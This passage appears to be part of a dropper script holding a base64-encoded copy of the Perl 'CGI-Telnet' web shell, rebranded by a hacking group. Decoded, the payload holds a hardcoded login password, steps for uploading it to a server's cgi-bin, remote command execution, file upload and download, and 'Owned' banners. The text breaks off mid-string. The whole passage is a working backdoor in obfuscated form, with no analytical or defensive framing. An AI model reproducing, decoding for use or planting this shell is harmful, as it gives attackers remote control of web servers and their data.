$cgico = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQ29weXJpZ2h0IGFuZCBMaWNlbmNlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDR0ktVGVsbmV0IFZlcnNpb24gMS4wIGZvciBOVCBhbmQgVW5peCA6IFJ1biBDb21tYW5kcyBvbiB5b3VyIFdlYiBTZXJ2ZXIKIwojIENvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhCiMgUGVybWlzc2lvbiBpcyBncmFudGVkIHRvIHVzZSwgZGlzdHJpYnV0ZSBhbmQgbW9kaWZ5IHRoaXMgc2NyaXB0IHNvIGxvbmcKIyBhcyB0aGlzIGNvcHlyaWdodCBub3RpY2UgaXMgbGVmdCBpbnRhY3QuIElmIHlvdSBtYWtlIGNoYW5nZXMgdG8gdGhlIHNjcmlwdAojIHBsZWFzZSBkb2N1bWVudCB0aGVtIGFuZCBpbmZvcm0gbWUuIElmIHlvdSB3b3VsZCBsaWtlIGFueSBjaGFuZ2VzIHRvIGJlIG1hZGUKIyBpbiB0aGlzIHNjcmlwdCwgeW91IGNhbiBlLW1haWwgbWUuCiMKIyBBdXRob3IgOiBSb2hpdGFiIEJhdHJhCiMgRWRpdG9yIDogQkxBQ0suSmFHdUFyCiMgQXV0aG9yIGUtbWFpbDogcm9oaXRhYkByb2hpdGFiLmNvbQojIEVkaXRvciBlLW1haWw6IEJnX0Bob3RtYWlsLmNvbQojIEF1dGhvciBIb21lcGFnZTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS8KIyBFZGlyb2UgSG9tZXBhZ2U6IGh0dHA6Ly93d3cuYWxqeXlvc2guY29tLwojIFNjcmlwdCBIb21lcGFnZTogbWFpbHRvOkJnX0Bob3RtYWlsLmNvbQojIFByb2R1Y3QgU3VwcG9ydDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9zdXBwb3J0LwojIERpc2N1c3Npb24gRm9ydW06IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vZGlzY3Vzcy8KIyBNYWlsaW5nIExpc3Q6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBJbnN0YWxsYXRpb24KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRvIGluc3RhbGwgdGhpcyBzY3JpcHQKIwojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uCiMgICAgeW91ciBzZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMuCiMgMi4gQ2hhbmdlIHRoZSBwYXNzd29yZCBpbiB0aGUgQ29uZmlndXJhdGlvbiBzZWN0aW9uIGJlbG93LgojIDMuIElmIHlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwgc2V0ICRXaW5OVCA9IDEgaW4gdGhlCiMgICAgQ29uZmlndXJhdGlvbiBTZWN0aW9uIGJlbG93LgojIDQuIFVwbG9hZCB0aGUgc2NyaXB0IHRvIGEgZGlyZWN0b3J5IG9uIHlvdXIgc2VydmVyIHdoaWNoIGhhcyBwZXJtaXNzaW9ucyB0bwojICAgIGV4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMgdXN1YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b3UgdXBsb2FkCiMgICAgdGhlIHNjcmlwdCBpbiBBU0NJSSBtb2RlLgojIDUuIENoYW5nZSB0aGUgcGVybWlzc2lvbiAoQ0hNT0QpIG9mIHRoZSBzY3JpcHQgdG8gNzU1LgojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB5b3VyIHdlYiBicm93c2VyLiBJZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbgojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJlIGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwKIyA3LiBMb2dpbiB1c2luZyB0aGUgcGFzc3dvcmQgdGhhdCB5b3Ugc3BlY2lmaWVkIGluIFN0ZXAgMi4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENvbmZpZ3VyYXRpb246IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXIKIyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiRQYXNzd29yZCA9ICJZZU1lTiI7CQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMKCQkJCSMgdG8gbG9naW4uCgokV2luTlQgPSAwOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdAoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuCgokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZAoJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuCgojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhCgokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPHRpdGxlPnIwMHRAQkxBQ0s8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0iY2VudGVyIj4KPGI+PGZvbnQgY29sb3I9IiMwMDAwODAiIHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwvdGQ+Cjx0ZCBiZ2NvbG9yPSIjMDAwMDgwIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIiBjb2xvcj0iIzAwOTkwMCI+PGI+Q0dJLVRlbG5ldCBDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWUgCn4gQnkgVGhlIEJMQUNLLkphR3VBciAtIEFsanl5b3NoIFRlYW08L2I+PC9mb250PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiNjMmMyYzIiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjEiPgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+RGlzY29ubmVjdDwvYT4gfAo8YSBocmVmPSJiZ19ASE9UTUFJTC5DT00iPkhlbHA8L2E+CjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CgkkTWVzc2FnZSA9IHEkPGZvbnQgY29sb3I9IiNGRjAwMDAiPjxmb250IGNvbG9yPSIjMDAwMDAwIj4KPC9mb250Pgo8cHJlPiAgICBfX19fX18gICBfICAgICAgICAgICAgICAgICAgICAgXyAgICAgXwogICB8ICAgX18gIFx8IHwgICAgICAgICAgICAgICAgICAgfCB8ICAvIC8KICAgfCAgfF9fKSApfCB8ICAgICAgX19fX19fICBfX19fIHwgfCAvIC8KICAgfCAgIF9fICAvfCB8ICAgIChfX19fXyAgfC8gIF9fX1wgIC8gLwo8Zm9udCBjb2xvcj0iI0U4MDAwMCI+ICAgfCAgfCAgfCAgXCB8ICAgICAgX19fXykgfCAgfCAgIHwgfFwgXAogICB8ICB8X18pICApIHwgX19fKCBfX19fICB8ICB8X19ffCB8IFwgXAogICB8X19fX19fXy98X19fX19ffF9fX19fXyB8XF9fX19fL198ICBcX1w8L2ZvbnQ+CjwvcHJlPgo8cHJlPiA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj6pIDIwMTEgLCBBbGp5eW9zaCBUZWFtPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwqT3duZWQqfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+XyA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi88L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fCjwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+IChfKTwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+QDhAODwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+e308L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPiZsdDtfX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxUaGUgQkxBQ0suSmFHdUFyLy18PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+JDsKIycKCXByaW50IDw8RU5EOwo8Y29kZT4KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPgpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+CkVzY2FwZSBjaGFyYWN0ZXIgaXMgXl0KPGNvZGU+JE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGJyPmxvZ2luOiByMDB0PGJyPgpwYXNzd29yZDo8YnI+CkxvZ2luIGluY29ycmVjdDxicj48YnI+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPgpsb2dpbjogQkxBQ0suSmFHdUFyPGJyPgpwYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VGb290ZXIKewoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIjxjb2RlPkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPjwvY29kZT4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCSZQcmludExvZ2luU2NyZWVuOwoJJlByaW50TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0L